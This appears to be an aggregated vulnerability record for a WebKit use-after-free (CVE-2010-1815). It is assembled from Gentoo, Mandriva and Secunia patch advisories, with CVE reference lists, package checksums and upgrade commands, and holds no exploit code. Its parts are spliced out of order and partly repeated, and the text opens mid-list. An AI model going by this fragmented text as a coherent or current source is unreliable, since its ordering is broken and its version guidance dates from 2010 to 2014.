http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0482
[ 44 ] CVE-2011-0721
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0721
[ 45 ] CVE-2011-0727
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0727
[ 46 ] CVE-2011-0904
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0904
[ 47 ] CVE-2011-0905
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0905
[ 48 ] CVE-2011-1072
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1072
[ 49 ] CVE-2011-1097
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1097
[ 50 ] CVE-2011-1144
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1144
[ 51 ] CVE-2011-1425
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1425
[ 52 ] CVE-2011-1572
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1572
[ 53 ] CVE-2011-1760
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1760
[ 54 ] CVE-2011-1951
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1951
[ 55 ] CVE-2011-2471
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2471
[ 56 ] CVE-2011-2472
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2472
[ 57 ] CVE-2011-2473
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2473
[ 58 ] CVE-2011-2524
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2524
[ 59 ] CVE-2011-3365
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3365
[ 60 ] CVE-2011-3366
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3366
[ 61 ] CVE-2011-3367
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3367
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201412-09.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2014 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. ----------------------------------------------------------------------
Secure your corporate defenses and reduce complexity in handling vulnerability threats with the new Secunia Vulnerability Intelligence Manager (VIM)
| VAR-201009-0256 | CVE-2010-1815 | iPhone and iPod touch Run on Apple iOS of WebKit Vulnerable to arbitrary code execution |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
Use-after-free vulnerability in WebKit in Apple iOS before 4.1 on the iPhone and iPod touch, and webkitgtk before 1.2.6, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via vectors involving scrollbars.
An attacker can exploit this issue by tricking an unsuspecting victim into viewing a web page containing malicious content. A successful exploit will result in the execution of arbitrary attacker-supplied code in the context of the user running the affected application.
This issue affects iOS 2.0 through 4.0.2 for iPhone 3G and later and iOS 2.1 through 4.0.2 for iPod touch (2nd generation) and later.
NOTE: This issue was previously discussed in BID 43070 (Apple iPhone/iPod touch Prior to iOS 4.1 Multiple Vulnerabilities) but has been given its own records to better document it. WebKit is a set of open source web browser engines jointly developed by companies such as KDE, Apple (Apple), and Google (Google), and is currently used by browsers such as Apple Safari and Google Chrome. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
_______________________________________________________________________
Mandriva Linux Security Advisory MDVSA-2011:039
http://www.mandriva.com/security/
_______________________________________________________________________
Package : webkit
Date : March 2, 2011
Affected: 2010.1
_______________________________________________________________________
Problem Description:
Multiple cross-site scripting, denial of service and arbitrary code
execution security flaws were discovered in webkit.
Please consult the CVE web links for further information.
_______________________________________________________________________
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2797
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2841
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0046
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0047
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0048
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0049
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0050
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0051
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0052
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0053
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0054
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0314
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0647
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0650
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0651
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0656
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1386
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1387
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1389
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1390
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1391
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1392
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1393
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1394
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1395
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1396
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1397
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1398
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1400
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1401
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1402
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1403
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1404
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1405
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1406
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1407
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1408
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1409
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1410
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1412
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1414
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1415
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1416
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1417
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1418
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1419
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1421
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1422
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1501
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1664
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1665
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1758
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1759
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1760
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1761
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1762
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1764
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1766
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1767
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1770
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1771
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1772
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1773
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1774
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1780
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1781
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1782
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1783
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1784
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1785
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1786
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1787
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1788
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1790
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1791
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1792
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1793
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1812
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1814
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1815
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2264
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2647
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2648
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3113
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3114
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3115
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3116
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3119
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3248
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3255
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3257
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3259
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3812
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3813
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4040
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4197
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4198
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4204
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4206
_______________________________________________________________________
Updated Packages:
Mandriva Linux 2010.1:
141f3cd181b875d1bb40b67a507b6db1 2010.1/i586/libwebkitgtk1.0_2-1.2.7-0.1mdv2010.2.i586.rpm
054886a3c645b3ce710b9b9daec1d5f9 2010.1/i586/libwebkitgtk1.0-devel-1.2.7-0.1mdv2010.2.i586.rpm
bef556ca3f281f6ef4086292c3b658d2 2010.1/i586/webkit1.0-1.2.7-0.1mdv2010.2.i586.rpm
a1ff7ac638646aeb64e3bbdca9bc945d 2010.1/i586/webkit1.0-webinspector-1.2.7-0.1mdv2010.2.i586.rpm
3f40e3ebc62bad67097a9e102e0e79c2 2010.1/i586/webkit-1.2.7-0.1mdv2010.2.i586.rpm
50875cf1bc8718cedce1a45dc509b44b 2010.1/i586/webkit-gtklauncher-1.2.7-0.1mdv2010.2.i586.rpm
625d27780d1cc9edb935d4ac3521ae16 2010.1/i586/webkit-jsc-1.2.7-0.1mdv2010.2.i586.rpm
8d02c28d8f21a022130be4c49f9d27be 2010.1/SRPMS/webkit-1.2.7-0.1mdv2010.2.src.rpm
Mandriva Linux 2010.1/X86_64:
5ce57cd6ab823f8084030033c7c230d7 2010.1/x86_64/lib64webkitgtk1.0_2-1.2.7-0.1mdv2010.2.x86_64.rpm
690d8718a97af93f58de3bb2357fbe9b 2010.1/x86_64/lib64webkitgtk1.0-devel-1.2.7-0.1mdv2010.2.x86_64.rpm
7cc1d4aa77e1901ccc92f27faf85c9ea 2010.1/x86_64/webkit1.0-1.2.7-0.1mdv2010.2.x86_64.rpm
2b77a77159529c55f64343aba98c15d9 2010.1/x86_64/webkit1.0-webinspector-1.2.7-0.1mdv2010.2.x86_64.rpm
475cf83c5ddd8f6809c2c73a1f5a71d1 2010.1/x86_64/webkit-1.2.7-0.1mdv2010.2.x86_64.rpm
b0f1c76107c3d54241daa7e61bfb29a9 2010.1/x86_64/webkit-gtklauncher-1.2.7-0.1mdv2010.2.x86_64.rpm
97deff5e94a625a79842b4c240b0b00d 2010.1/x86_64/webkit-jsc-1.2.7-0.1mdv2010.2.x86_64.rpm
8d02c28d8f21a022130be4c49f9d27be 2010.1/SRPMS/webkit-1.2.7-0.1mdv2010.2.src.rpm
_______________________________________________________________________
To upgrade automatically use MandrivaUpdate or urpmi. The verification
of md5 checksums and GPG signatures is performed automatically for you. You can obtain the
GPG public key of the Mandriva Security Team by executing:
gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98
You can view other update advisories for Mandriva Linux at:
http://www.mandriva.com/security/advisories
If you want to report vulnerabilities, please contact
security_(at)_mandriva.com
_______________________________________________________________________
Type Bits/KeyID Date User ID
pub 1024D/22458A98 2000-07-10 Mandriva Security Team
<security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iD8DBQFNbgbemqjQ0CJFipgRAs9YAJ92z2WSC2ijj34b/wr42OIYLtv65gCg7XgL
Yv/ButpYAcXsmnJWUG4ayxQ=
=GRM6
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
.
For more information:
SA40257
SA41328
SA42151
SA42312
SOLUTION:
Upgrade to iOS 4.2 (downloadable and installable via iTunes). ----------------------------------------------------------------------
Windows Applications Insecure Library Loading
The Official, Verified Secunia List:
http://secunia.com/advisories/windows_insecure_library_loading/
The list is continuously updated as we confirm the vulnerability reports so check back regularly too see if any of your apps are affected.
----------------------------------------------------------------------
TITLE:
Ubuntu update for webkit
SECUNIA ADVISORY ID:
SA41856
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/41856/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=41856
RELEASE DATE:
2010-10-21
DISCUSS ADVISORY:
http://secunia.com/advisories/41856/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/41856/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=41856
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Ubuntu has issued an update for webkit. This fixes multiple
vulnerabilities, some of which have an unknown impact while others
can be exploited by malicious people to bypass certain security
restrictions, disclose sensitive information, conduct spoofing or
cross-site scripting attacks, and potentially compromise a user's
system.
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
ORIGINAL ADVISORY:
USN-1006-1:
http://www.ubuntu.com/usn/usn-1006-1
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201412-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: High
Title: Multiple packages, Multiple vulnerabilities fixed in 2011
Date: December 11, 2014
Bugs: #194151, #294253, #294256, #334087, #344059, #346897,
#350598, #352608, #354209, #355207, #356893, #358611,
#358785, #358789, #360891, #361397, #362185, #366697,
#366699, #369069, #370839, #372971, #376793, #381169,
#386321, #386361
ID: 201412-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
This GLSA contains notification of vulnerabilities found in several
Gentoo packages which have been fixed prior to January 1, 2012. The
worst of these vulnerabilities could lead to local privilege escalation
and remote code execution. Please see the package list and CVE
identifiers below for more information.
Background
==========
For more information on the packages listed in this GLSA, please see
their homepage referenced in the ebuild.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 games-sports/racer-bin >= 0.5.0-r1 Vulnerable!
2 media-libs/fmod < 4.38.00 >= 4.38.00
3 dev-php/PEAR-Mail < 1.2.0 >= 1.2.0
4 sys-fs/lvm2 < 2.02.72 >= 2.02.72
5 app-office/gnucash < 2.4.4 >= 2.4.4
6 media-libs/xine-lib < 1.1.19 >= 1.1.19
7 media-sound/lastfmplayer
< 1.5.4.26862-r3 >= 1.5.4.26862-r3
8 net-libs/webkit-gtk < 1.2.7 >= 1.2.7
9 sys-apps/shadow < 4.1.4.3 >= 4.1.4.3
10 dev-php/PEAR-PEAR < 1.9.2-r1 >= 1.9.2-r1
11 dev-db/unixODBC < 2.3.0-r1 >= 2.3.0-r1
12 sys-cluster/resource-agents
< 1.0.4-r1 >= 1.0.4-r1
13 net-misc/mrouted < 3.9.5 >= 3.9.5
14 net-misc/rsync < 3.0.8 >= 3.0.8
15 dev-libs/xmlsec < 1.2.17 >= 1.2.17
16 x11-apps/xrdb < 1.0.9 >= 1.0.9
17 net-misc/vino < 2.32.2 >= 2.32.2
18 dev-util/oprofile < 0.9.6-r1 >= 0.9.6-r1
19 app-admin/syslog-ng < 3.2.4 >= 3.2.4
20 net-analyzer/sflowtool < 3.20 >= 3.20
21 gnome-base/gdm < 3.8.4-r3 >= 3.8.4-r3
22 net-libs/libsoup < 2.34.3 >= 2.34.3
23 app-misc/ca-certificates
< 20110502-r1 >= 20110502-r1
24 dev-vcs/gitolite < 1.5.9.1 >= 1.5.9.1
25 dev-util/qt-creator < 2.1.0 >= 2.1.0
-------------------------------------------------------------------
NOTE: Certain packages are still vulnerable. Users should migrate
to another package if one is available or wait for the
existing packages to be marked stable by their
architecture maintainers.
-------------------------------------------------------------------
25 affected packages
Description
===========
Vulnerabilities have been discovered in the packages listed below.
Please review the CVE identifiers in the Reference section for details.
* FMOD Studio
* PEAR Mail
* LVM2
* GnuCash
* xine-lib
* Last.fm Scrobbler
* WebKitGTK+
* shadow tool suite
* PEAR
* unixODBC
* Resource Agents
* mrouted
* rsync
* XML Security Library
* xrdb
* Vino
* OProfile
* syslog-ng
* sFlow Toolkit
* GNOME Display Manager
* libsoup
* CA Certificates
* Gitolite
* QtCreator
* Racer
Impact
======
A context-dependent attacker may be able to gain escalated privileges,
execute arbitrary code, cause Denial of Service, obtain sensitive
information, or otherwise bypass security restrictions.
Workaround
==========
There are no known workarounds at this time.
Resolution
==========
All FMOD Studio users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=media-libs/fmod-4.38.00"
All PEAR Mail users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-php/PEAR-Mail-1.2.0"
All LVM2 users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=sys-fs/lvm2-2.02.72"
All GnuCash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=app-office/gnucash-2.4.4"
All xine-lib users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=media-libs/xine-lib-1.1.19"
All Last.fm Scrobbler users should upgrade to the latest version:
# emerge --sync
# emerge -a --oneshot -v ">=media-sound/lastfmplayer-1.5.4.26862-r3"
All WebKitGTK+ users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-libs/webkit-gtk-1.2.7"
All shadow tool suite users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=sys-apps/shadow-4.1.4.3"
All PEAR users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-php/PEAR-PEAR-1.9.2-r1"
All unixODBC users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-db/unixODBC-2.3.0-r1"
All Resource Agents users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=sys-cluster/resource-agents-1.0.4-r1"
All mrouted users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/mrouted-3.9.5"
All rsync users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/rsync-3.0.8"
All XML Security Library users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-libs/xmlsec-1.2.17"
All xrdb users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=x11-apps/xrdb-1.0.9"
All Vino users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/vino-2.32.2"
All OProfile users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-util/oprofile-0.9.6-r1"
All syslog-ng users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=app-admin/syslog-ng-3.2.4"
All sFlow Toolkit users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-analyzer/sflowtool-3.20"
All GNOME Display Manager users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=gnome-base/gdm-3.8.4-r3"
All libsoup users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-libs/libsoup-2.34.3"
All CA Certificates users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=app-misc/ca-certificates-20110502-r1"
All Gitolite users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-vcs/gitolite-1.5.9.1"
All QtCreator users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-util/qt-creator-2.1.0"
Gentoo has discontinued support for Racer. We recommend that users
unmerge Racer:
# emerge --unmerge "games-sports/racer-bin"
NOTE: This is a legacy GLSA. Updates for all affected architectures
have been available since 2012. It is likely that your system is
already no longer affected by these issues.
References
==========
[ 1 ] CVE-2007-4370
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-4370
[ 2 ] CVE-2009-4023
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2009-4023
[ 3 ] CVE-2009-4111
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2009-4111
[ 4 ] CVE-2010-0778
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-0778
[ 5 ] CVE-2010-1780
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1780
[ 6 ] CVE-2010-1782
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1782
[ 7 ] CVE-2010-1783
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1783
[ 8 ] CVE-2010-1784
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1784
[ 9 ] CVE-2010-1785
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1785
[ 10 ] CVE-2010-1786
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1786
[ 11 ] CVE-2010-1787
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1787
[ 12 ] CVE-2010-1788
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1788
[ 13 ] CVE-2010-1790
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1790
[ 14 ] CVE-2010-1791
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1791
[ 15 ] CVE-2010-1792
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1792
[ 16 ] CVE-2010-1793
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1793
[ 17 ] CVE-2010-1807
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1807
[ 18 ] CVE-2010-1812
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1812
[ 19 ] CVE-2010-1814
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1814
[ 20 ] CVE-2010-1815
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1815
[ 21 ] CVE-2010-2526
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-2526
[ 22 ] CVE-2010-2901
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-2901
[ 23 ] CVE-2010-3255
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3255
[ 24 ] CVE-2010-3257
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3257
[ 25 ] CVE-2010-3259
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3259
[ 26 ] CVE-2010-3362
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3362
[ 27 ] CVE-2010-3374
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3374
[ 28 ] CVE-2010-3389
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3389
[ 29 ] CVE-2010-3812
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3812
[ 30 ] CVE-2010-3813
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3813
[ 31 ] CVE-2010-3999
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3999
[ 32 ] CVE-2010-4042
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4042
[ 33 ] CVE-2010-4197
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4197
[ 34 ] CVE-2010-4198
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4198
[ 35 ] CVE-2010-4204
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4204
[ 36 ] CVE-2010-4206
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4206
[ 37 ] CVE-2010-4492
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4492
[ 38 ] CVE-2010-4493
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4493
[ 39 ] CVE-2010-4577
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4577
[ 40 ] CVE-2010-4578
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4578
[ 41 ] CVE-2011-0007
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0007
[ 42 ] CVE-2011-0465
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0465
[ 43 ] CVE-2011-0482
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0482
[ 44 ] CVE-2011-0721
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0721
[ 45 ] CVE-2011-0727
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0727
[ 46 ] CVE-2011-0904
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0904
[ 47 ] CVE-2011-0905
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0905
[ 48 ] CVE-2011-1072
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1072
[ 49 ] CVE-2011-1097
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1097
[ 50 ] CVE-2011-1144
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1144
[ 51 ] CVE-2011-1425
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1425
[ 52 ] CVE-2011-1572
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1572
[ 53 ] CVE-2011-1760
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1760
[ 54 ] CVE-2011-1951
